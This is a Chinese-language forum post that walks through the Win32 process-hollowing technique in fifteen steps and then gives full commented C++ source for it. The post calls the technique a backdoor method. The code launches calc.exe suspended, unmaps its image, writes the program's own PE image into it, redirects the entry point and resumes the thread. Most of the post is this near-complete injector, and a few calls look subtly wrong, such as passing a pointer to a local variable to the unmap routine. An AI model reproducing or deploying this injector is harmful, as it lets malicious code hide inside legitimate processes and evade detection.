最近学习PE结构,顺便看到了一篇WIN32 EXE注入的文章,代码是04年的,比较古老了,
但是代码写的很好,受益匪浅,然后在百度很少找到翻译的比较清楚的文章,这篇我在代码中加了中文注释,
方便菜鸟理解,阅读这篇帖子需要熟悉PE结构,如果你不懂PE结构建议你先去学习下,
说错的地方请各位大神指正,板砖吐口水都可以。
--- 我是淫荡的分割线---
提到傀儡进程,首先想到的就是黑客所使用的后门程序了,首先使用CreateProcess传入CREATE_SUSPENDED
创建一个挂起的进程,以下称为傀儡进程,然后使用GetThreadContext读取傀儡进程的上下文信息,通过DWORD
指针指向CONTEXT的EBX,DWORD + 8 字节可以读取到傀儡进程的基地址,然后计算傀儡进程的镜像大小
然后把自己的数据读入到傀儡进程内,设置CONTEXT上下文入口点信息EAX,并恢复进程主线程。说白了就是使用
傀儡进程的外壳来执行自身的恶意代码。
下面使用步骤详细说明下,然后对照源代码看比较清楚些!
注意:程序默认注入的进程为计算器 傀儡进程为A进程,自身进程为B文件
当然这样说比较蛋疼,因为他是从你命令里面读取其他文件信息来注入到傀儡进程的,
这里我就把自身进程当作B进程,不从控制台接收exe信息,直接使用GetModuleFileName
函数来获取自身,这样方便理解!
1、使用fopen来读取B文件,返回FILE指针
2、使用c语言函数读取B文件的DOS FILE OPTIONAL SECTION等数据结构信息
3、获取B文件载入内存所需要的镜像大小 模除取余
4、使用VirtualAlloc申请B文件镜像大小初始化为0内存空间
5、把B文件读入到申请的内存空间中,并指针后移 [因为需要内存对齐]
6、使用CreateProcess创建一个挂起的傀儡进程并获取CONTEXT线程上下文信息
7、使用DWORD 指针指向CONTEXT->EBX,此时指针 + 8字节指向傀儡进程基址
8、使用VirtualQueryEx MEMORY_BASIC_INFORMATION结构来获取从傀儡进程基址 到末尾 得到傀儡进程镜像大小
9、如果傀儡进程的镜像大小 大于或等于 B进程的,并且他们的基地址相同,那么使用VirtualProtectEx设置从基地址到镜像大小这块内存为可读可写
10、否则需要卸载傀儡进程内存空间的数据,传入的参数为傀儡进程基址与镜像大小并在傀儡进程重新申请B进程镜像大小的内存空间
11、把在傀儡进程中重新申请的内存空间地址,写入到傀儡进程的基地址【重要】
12、把B文件已经读取到内存的数据,写入到傀儡进程中
13、设置傀儡进程的EAX指向B进程已经覆盖过数据的入口点
14、设置傀儡进程的线程上下文信息
15、ResumeThread恢复傀儡进程的主线程,以此达到使用傀儡进程的外壳来执行自身恶意代码的行为
注:其实这里面省略了一个步骤,那就是步骤10往后的一个地方,说ZwUnmapViewOfSection卸载失败以后
可能是存在重定位信息,但是EXE一般不会有重定位信息,因为exe首先被加载到属于自己的虚拟4GB空间,
然后他的判断是检测IMAGE_OPTIONAL_HEADER的IMAGE_DATA_DIRECTORY成员变量,这个是一个数据结构
索引为5的地方是重定位信息,判断他的地址与大小是否为0,来决定是否需要重定位信息。
以下代码我加了中文注释,并把原先的代码重新写了一遍,也方便自己来理解作者为何要这么写。
// H文件
#define dosHdrlen sizeof(IMAGE_DOS_HEADER)
#define ntHdrslen sizeof(IMAGE_NT_HEADERS)
#define fileHdrlen sizeof(IMAGE_FILE_HEADER)
#define optionHdrlen sizeof(IMAGE_OPTIONAL_HEADER)
#define sectionHdrlen sizeof(IMAGE_SECTION_HEADER)
typedef struct _PROCINFO
{
unsigned long ulBaseAddr;
unsigned long ulImageSize;
}PROCINFO, *PPROCINFO;
int RunInjectProcess();
int getAlignedSize(unsigned long curSize, unsigned long alignment);
int calctotalImageSize(PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);
bool readPEInfo(FILE *fp, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr);
bool loadPE(FILE *fp, void *lptrloc, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);
void doFork(void *lptrloc, int ImageSize, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr);
bool createProcInfo(PPROCESS_INFORMATION pi, PCONTEXT pthreadcxt, PPROCINFO outPorceInfo);
bool unloadImage(HANDLE hProcess, unsigned long ulBaseAddr);
int RunInjectProcess()
{
char szInject[MAX_PATH];
GetModuleFileNameA(NULL, szInject, MAX_PATH);
if (strstr(szInject, "calc.exe") != 0)
return 0;
FILE *fp;
fopen_s(&fp, szInject, "rb"); // 文件指针
if (fp)
{
IMAGE_DOS_HEADER dosHdr;
IMAGE_FILE_HEADER fileHdr;
IMAGE_OPTIONAL_HEADER optionHdr;
PIMAGE_SECTION_HEADER sectionHdr;
// 读取文件PE数据结构
if (readPEInfo(fp, &dosHdr, &fileHdr, &optionHdr, §ionHdr))
{
// 计算PE文件镜像大小
int ImageSize = calctotalImageSize(&fileHdr, &optionHdr, sectionHdr);
// 申请内存空间 大小为自身的ImageSize 初始化为0并可读可写
void *lptrloc = VirtualAlloc(NULL, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lptrloc)
{
// 载入自身到内存空间
loadPE(fp, lptrloc, &fileHdr, &optionHdr, sectionHdr);
// 创建傀儡进程
doFork(lptrloc, ImageSize, &dosHdr, &fileHdr, &optionHdr, sectionHdr);
}
else
return false;
}
}
else
return 1;
return 0;
}
bool readPEInfo(FILE *fp, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr)
{
// 偏移指向文件末尾
fseek(fp, 0, SEEK_END);
long uFileSize = ftell(fp); // 获取文件大小
fseek(fp, 0, SEEK_SET); // 指向文件头
// 判断文件是否小于DOS头+NT头结构
if (uFileSize < (dosHdrlen + ntHdrslen))
{
printf("file size too small.\n");
return false;
}
// 读取DOS头数据结构并校验MZ签名
fread(dosHdr, dosHdrlen, 1, fp);
if (dosHdr->e_magic != 0x5a4d)
{
printf("the file not MZ signature.\n");
return false;
}
// 偏移指向 dosHdr->e_lfanew 校验PE00签名
unsigned long uPE00 = 0;
fseek(fp, dosHdr->e_lfanew, SEEK_SET);
fread(&uPE00, sizeof(unsigned long), 1, fp);
if (uPE00 != IMAGE_NT_SIGNATURE)
{
printf("the file not pe00 signature.\n");
return false;
}
// 读取FILE数据结构信息
fread(fileHdr, fileHdrlen, 1, fp);
if (fileHdr->SizeOfOptionalHeader != optionHdrlen)
{
printf("unexpected win32 pe file.\n");
return false;
}
// 读取OPTIONAL可选头信息
fread(optionHdr, optionHdrlen, 1, fp);
// 校验WIN32或者WIN64应用程序
if (optionHdr->Magic != 0x10b && optionHdr->Magic != 0x20b)
{
printf("the fuck not win32 or win64 pe file.\n");
return false;
}
// 读取节表信息[区段表],总数为file-numberofsection中指定
// 申请内存读取节表信息
*sectionHdr = new IMAGE_SECTION_HEADER[fileHdr->NumberOfSections];
if (*sectionHdr)
{
memset(*sectionHdr, 0, sectionHdrlen * fileHdr->NumberOfSections);
fread(*sectionHdr, sectionHdrlen * fileHdr->NumberOfSections, 1, fp);
}
else
return false;
return true;
}
int calctotalImageSize(PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
{
int nRetval = 0;
// 获取PE文件在内存中所需要的对齐值 WIN32 为4096字节
int alignment = optionHdr->SectionAlignment;
// 判断 DOS + NT + SECTION表的大小
// 总大小取余内存对齐值 如果为0则说明已经对齐
// 否则总大小除以内存对齐值 然后++之后乘以内存页对齐值
if (optionHdr->SizeOfHeaders % alignment == 0)
nRetval += optionHdr->SizeOfHeaders;
else
{
int val = optionHdr->SizeOfHeaders / alignment;
val ++;
nRetval += (val * alignment);
}
// for循环来处理每个区段在内存中所占的内存大小
for (short i = 0; i < fileHdr->NumberOfSections; i++)
{
if (sectionHdr[i].Misc.VirtualSize)
{
if (sectionHdr[i].Misc.VirtualSize % alignment == 0)
nRetval += sectionHdr[i].Misc.VirtualSize;
else
{
int val = sectionHdr[i].Misc.VirtualSize / alignment;
val ++;
nRetval += (val * alignment);
}
}
}
return nRetval;
}
int getAlignedSize(unsigned long curSize, unsigned long alignment)
{
if(curSize % alignment == 0)
return curSize;
else
{
int val = curSize / alignment;
val ++;
return (val * alignment);
}
}
bool loadPE(FILE *fp, void *lptrloc, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
{
// 指针指向PE偏移0字节
fseek(fp, 0, SEEK_SET);
char *outPtr = (char *)lptrloc; // 强制转换指针
unsigned long i;
unsigned long headerSize = optionHdr->SizeOfHeaders; // 读取头数据大小
// UPX压缩以后节表的首个指向原始数据的长度为0
// 主要是为了读取整个头大小来查找偏移地址的
for (i = 0; i < fileHdr->NumberOfSections; i++)
{
if (sectionHdr[i].PointerToRawData < headerSize)
if (sectionHdr[i].PointerToRawData > 0)
headerSize = sectionHdr[i].PointerToRawData;
}
// 读取PE头数据到申请的内存空间中
unsigned long readSize = fread(outPtr, 1, headerSize, fp);
if (readSize != headerSize)
{
printf("read header outPtr error.\n");
return false;
}
// for循环读取节表到内存空间中
// 因为需要内存对齐,所以内存指针需要后移内存页倍数的值
outPtr += getAlignedSize(optionHdr->SizeOfHeaders, optionHdr->SectionAlignment);
// 读取节表数据到内存空间
for (i = 0; i < fileHdr->NumberOfSections; i++)
{
//printf("sectionHdr[i].SizeOfRawData %d\n",sectionHdr[i].SizeOfRawData);
//printf("sectionHdr[i].VirtualSize %d\n",sectionHdr[i].Misc.VirtualSize);
//printf("sectionHdr[i].PointerToRawData %d\n",sectionHdr[i].PointerToRawData);
//putchar('\n');
if (sectionHdr[i].SizeOfRawData > 0)
{
unsigned long toRead = sectionHdr[i].SizeOfRawData;
if (toRead > sectionHdr[i].Misc.VirtualSize)
toRead = sectionHdr[i].Misc.VirtualSize;
// 设置PE在磁盘中的数据偏移地址
fseek(fp, sectionHdr[i].PointerToRawData, SEEK_SET);
readSize = fread(outPtr, 1, toRead, fp);
if(readSize != toRead)
{
printf("reading section error %d.\n", i);
return false;
}
// 指针后移内存对齐的倍数
outPtr += getAlignedSize(sectionHdr[i].Misc.VirtualSize, optionHdr->SectionAlignment);
}
else
{
// UPX压缩以后的第一个节 如UPX0节的大小是为0
// 所以直接后移内存对齐字节的倍数
if(sectionHdr[i].Misc.VirtualSize)
outPtr += getAlignedSize(sectionHdr[i].Misc.VirtualSize, optionHdr->SectionAlignment);
}
}
return true;
}
void doFork(void *lptrloc, int ImageSize, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
{
CONTEXT threadCxt; // 线程上下文
PROCINFO proceInfo; // 傀儡进程基址与镜像大小
PROCESS_INFORMATION pi; // 进程参数
// 创建傀儡进程并取得基址与镜像大小
if (createProcInfo(&pi, &threadCxt, &proceInfo))
{
void *pBaseAddr = NULL; // 内存指针
// 如果傀儡进程与自身进程基址相等 并且傀儡进程镜像大小大于等于自身
// 则设置这块内存为可读可写属性
if (optionHdr->ImageBase == proceInfo.ulBaseAddr && ImageSize <= (int)proceInfo.ulImageSize)
{
pBaseAddr = (void*)proceInfo.ulBaseAddr;
VirtualProtectEx(pi.hProcess, (void*)proceInfo.ulBaseAddr, proceInfo.ulImageSize, PAGE_EXECUTE_READWRITE, NULL);
}
else
{
// 否则卸载傀儡进程的内存数据
if (unloadImage(pi.hProcess, proceInfo.ulBaseAddr))
{
// 在傀儡进程中重新申请内存空间,从自身的镜像基址开始申请,大小为自身的镜像大小 属性可读可写
pBaseAddr = VirtualAllocEx(pi.hProcess, (void*)optionHdr->ImageBase, ImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pBaseAddr)
{
printf("mem for new exe %x\n",(unsigned long)pBaseAddr);
}
}
}
// 这里原先是一个重定位操作,由于EXE不需要重定位操作 故此忽略
if (pBaseAddr)
{
// 把重新申请的空间地址写入到傀儡进程基址
unsigned long ulWritten;
unsigned long *ulPEBInfo = (unsigned long*)threadCxt.Ebx;
WriteProcessMemory(pi.hProcess, &ulPEBInfo[2], &pBaseAddr, sizeof(void*), &ulWritten);
// 把自身的数据写入到傀儡进程中
if(WriteProcessMemory(pi.hProcess, pBaseAddr, (LPCVOID)lptrloc, ImageSize, &ulWritten))
{
// 设置上下文信息
threadCxt.ContextFlags = CONTEXT_FULL;
// 如果申请的基地址 等于原来傀儡进程的基地址 则从自身的0x0040000处 + 入口点地址
// 否则从申请的内存数据地址 + 入口点地址 为RVA
if ((unsigned long)pBaseAddr == proceInfo.ulBaseAddr)
{
threadCxt.Eax = optionHdr->ImageBase + optionHdr->AddressOfEntryPoint;
}
else
{
threadCxt.Eax = (unsigned long)pBaseAddr + optionHdr->AddressOfEntryPoint;
}
// 设置傀儡进程的线程上下文信息
SetThreadContext(pi.hThread, &threadCxt);
// 恢复主线程执行
ResumeThread(pi.hThread);
}
}
}
else
{
printf("create puppet process failure %d\n", GetLastError());
}
}
#define TPROCEXE _T("c:\\windows\\system32\\calc.exe")
//************************************************************************
//
// lkd> dt_peb
// nt!_PEB
// +0x000 InheritedAddressSpace : UChar
// +0x001 ReadImageFileExecOptions : UChar
// +0x002 BeingDebugged : UChar
// +0x003 BitField : UChar
// +0x003 ImageUsesLargePages : Pos 0, 1 Bit
// +0x003 SpareBits : Pos 1, 7 Bits
// +0x004 Mutant : Ptr32 Void
// +0x008 ImageBaseAddress : Ptr32 Void *这里是PEB结构 + 8 字节的地方
//
//************************************************************************
bool createProcInfo(PPROCESS_INFORMATION pi, PCONTEXT pthreadcxt, PPROCINFO outPorceInfo)
{
STARTUPINFO si = {0};
si.cb = sizeof(si); // 初始化SI结构大小
// 创建挂起的傀儡进程
if (CreateProcess(TPROCEXE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, pi))
{
// 获取线程CONTEXT上下文信息
pthreadcxt->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, pthreadcxt);
// 从傀儡进程句柄 PEB结构 + 8 字节获取进程加载基址
unsigned long *ulPebInfo = (unsigned long *)pthreadcxt->Ebx;
ReadProcessMemory(pi->hProcess, &ulPebInfo[2], (void*)&(outPorceInfo->ulBaseAddr), sizeof(u_long), NULL);
// 临时变量用来计算镜像大小
unsigned long ulmemAddr = outPorceInfo->ulBaseAddr;
MEMORY_BASIC_INFORMATION memInfo;
memset(&memInfo,0,sizeof(memInfo));
// 从进程的EBX+8开始读取镜像基址
// memInfo->BaseAddress指向ulBaseAddr下一个边界
// memInfo->RegionSize指向内存块的大小从BaseAddress开始计算
// memInfo->State页面空闲状态MEM_FREE
// 从进程加载的基地址空间来读取内存页的状态
// 起始进程地址 + 每个页面的大小
while (VirtualQueryEx(pi->hProcess, (void*)ulmemAddr, &memInfo, sizeof(memInfo)))
{
if (memInfo.State == MEM_FREE)
break;
ulmemAddr += memInfo.RegionSize;
}
// 末尾大小减去起始地址 等于EXE加载到进程地址空间中的镜像大小
// 进程挂起状态下的
outPorceInfo->ulImageSize = ulmemAddr - outPorceInfo->ulBaseAddr;
printf("poutPorcInfo->ulImageSizex %d.\n",outPorceInfo->ulImageSize);
}
else
return false;
return true;
}
bool unloadImage(HANDLE hProcess, unsigned long ulBaseAddr)
{
typedef unsigned long (__stdcall *PTRZwUnmapViewOfSection) (HANDLE, void*);
PTRZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;
HMODULE hInst = LoadLibrary(_T("ntdll.dll"));
if (hInst)
{
ZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(hInst, "ZwUnmapViewOfSection");
if (ZwUnmapViewOfSection)
{
ZwUnmapViewOfSection(hProcess, (void*)&ulBaseAddr);
}
FreeLibrary(hInst);
return true;
}
return false;
}